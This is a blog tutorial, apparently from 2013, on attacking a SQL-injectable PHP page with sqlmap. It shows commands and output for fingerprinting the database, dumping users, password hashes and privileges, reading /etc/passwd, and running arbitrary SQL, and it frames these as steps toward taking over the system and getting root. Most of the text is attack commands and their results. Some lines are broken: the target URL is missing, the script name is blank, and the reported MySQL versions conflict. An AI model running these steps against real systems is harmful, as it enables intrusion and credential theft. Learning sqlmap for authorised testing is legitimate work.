How to hack remote database with sqlmap

In the previous post on sqlmap basics we learnt how to use sqlmap to hack a vulnerable web application and fetch the list of databases, tables, columns and data rows. In this post we shall see how to do some simple fingerprinting on the remote database to find valuable information that can be used to assist in further exploitation of a system.

So lets say we have a vulnerable url


where the id parameter is not escaped properly in the php code and suffers sql injection vulnerability. The commands to list out the databases would be

$ python ./ -u "http://localhost/weak.php?id=10" --dbs

Then use the -T --columns and the --dump options to list out the tables of a database, columns of a table and data in a table and so on.

Fingerprinting the remote system and its database

To find out more information about the remote system database use the option "-b". It will try to find the exact banner of the database server. Lets try it on a mysql database.

$ python -u "http://localhost/weak.php?id=10" -b


[11:19:51] [INFO] the back-end DBMS is MySQL
[11:19:51] [INFO] fetching banner
[11:19:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:19:51] [INFO] retrieved: 5.1.61
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
banner:    '5.1.61'

The output has the banner text which is "5.1.61". This is the mysql banner and clearly shows the mysql version being used. Now you can search google for any mysql vulnerabilities that might exist in this version of mysql.

The next command will fetch the list of users and roles.

$ python -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10


database management system users [5]:
[*] ''@'localhost'
[*] ''@'localhost.localdomain'
[*] 'root'@''
[*] 'root'@'localhost'
[*] 'root'@'localhost.localdomain'


database management system users password hashes:
[*]  [1]:
    password hash: NULL
[*] root [2]:
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    password hash: NULL


[*] %root% (administrator) [27]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE

Getting the current user, current database and hostname information

$ python -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10
[11:32:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[11:32:33] [INFO] fetching current user
[11:32:33] [INFO] retrieving the length of query output
[11:32:33] [INFO] retrieved: 14
[11:32:38] [INFO] retrieved: [email protected]             
current user:    '[email protected]'
[11:32:38] [INFO] fetching current database
[11:32:38] [INFO] retrieving the length of query output
[11:32:38] [INFO] retrieved: 5
[11:32:40] [INFO] resumed: profile_data
current database:    'profile_data'
[11:32:40] [INFO] fetching server hostname
[11:32:40] [INFO] retrieving the length of query output
[11:32:40] [INFO] retrieved: 21
[11:32:48] [INFO] retrieved: localhost.localdomain             
hostname:    'localhost.localdomain'
[11:32:48] [INFO] testing if current user is DBA
[11:32:48] [INFO] fetching current user
current user is DBA:    False

So in the above output we have the current user, current database, the hostname.

Reading a system file

On mysql if the database user has permission to the FILE operation, then it can read files from the file system. It can read only those files that are publicly readable or readable by the mysql user. Here is a quick example to read the /etc/passwd file.

$ python -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10

sqlmap will store the file in its directory on the local file system, so that it can be read later.

Run arbitrary sql command

The sql-query option can be used to run arbitrary sql queries on the database.

$ python -u "http://localhost/weak.php?id=10" --sql-query="select now();"


[11:50:22] [INFO] retrieved: 2013-04-15 11:51:10
select now();:    '2013-04-15 11:51:10'

The last line in the output is the sql query output which was run on the remote database.


So with all the above information it gets easier to get further into the system and eventually take control of it, if possible. Sqlmap does quite a massive task by discovering the database, the data and details about the operating system. But in most cases it might not able to fully provide control of the remote system in the form of a shell.

Further techniques need to be employed to get greater control of the system and eventually root. We shall be discussing those in upcoming tutorials.

Last Updated On : 15th April 2013

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About Silver Moon

Php developer, blogger and Linux enthusiast. He can be reached at [email protected]. Or find him on

1 Comment + Add Comment

  • thank you for this tutorial.

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